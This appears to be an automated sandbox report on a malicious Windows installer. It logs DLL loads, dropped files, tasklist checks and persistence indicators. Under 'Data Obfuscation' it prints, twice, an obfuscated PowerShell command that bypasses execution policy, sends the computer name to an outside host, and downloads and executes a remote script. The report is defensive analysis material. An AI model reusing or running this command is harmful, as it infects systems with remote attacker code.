Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: installer_1.05_36.8.exe

Static file information: File size 1134207 > 1048576

Source: installer_1.05_36.8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2143167569.0000000007838000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\Mion.pdb source: powershell.exe, 00000011.00000002.2139013405.00000000032EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2143550776.0000000007874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb= source: powershell.exe, 00000011.00000002.2143579205.00000000078C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000011.00000002.2143579205.00000000078C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000032.00000002.2726903754.00000000385E0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2726728462.0000000038280000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000032.00000002.2726903754.00000000385E0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2726728462.0000000038280000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;			Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: M6BJM5KUQF518S8VT.tmp.21.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: installer_1.05_36.8.exe	Static PE information: real checksum: 0x113f6d should be: 0x11a05d
Source: M6BJM5KUQF518S8VT.exe.12.dr	Static PE information: real checksum: 0x9307ce should be: 0x8615ed
Source: M6BJM5KUQF518S8VT.tmp.19.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29

Source: M6BJM5KUQF518S8VT.exe.12.dr	Static PE information: section name: .didata
Source: M6BJM5KUQF518S8VT.tmp.19.dr	Static PE information: section name: .didata
Source: M6BJM5KUQF518S8VT.tmp.21.dr	Static PE information: section name: .didata

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Code function: 12_3_03843B03 push edi; ret	12_3_03843B3A
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Code function: 12_3_0383EC94 push eax; iretd	12_3_0383EC95
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Code function: 12_3_038412F9 push edx; retf	12_3_038412FA
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Code function: 12_3_03857685 push edx; retf	12_3_03857694
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Code function: 12_3_038579B8 push eax; retf	12_3_038579B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_03223AD2 push ebx; retf	17_2_03223ADA

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File created: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	File created: C:\Users\user\AppData\Local\Temp\is-1NSIN.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	File created: C:\Users\user\AppData\Local\Temp\is-S5E0S.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	File created: C:\Users\user\AppData\Local\Temp\is-S5E0S.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	File created: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	File created: C:\Users\user\AppData\Local\Temp\is-1NSIN.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\is-TDUHA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	File created: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Jump to dropped file

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
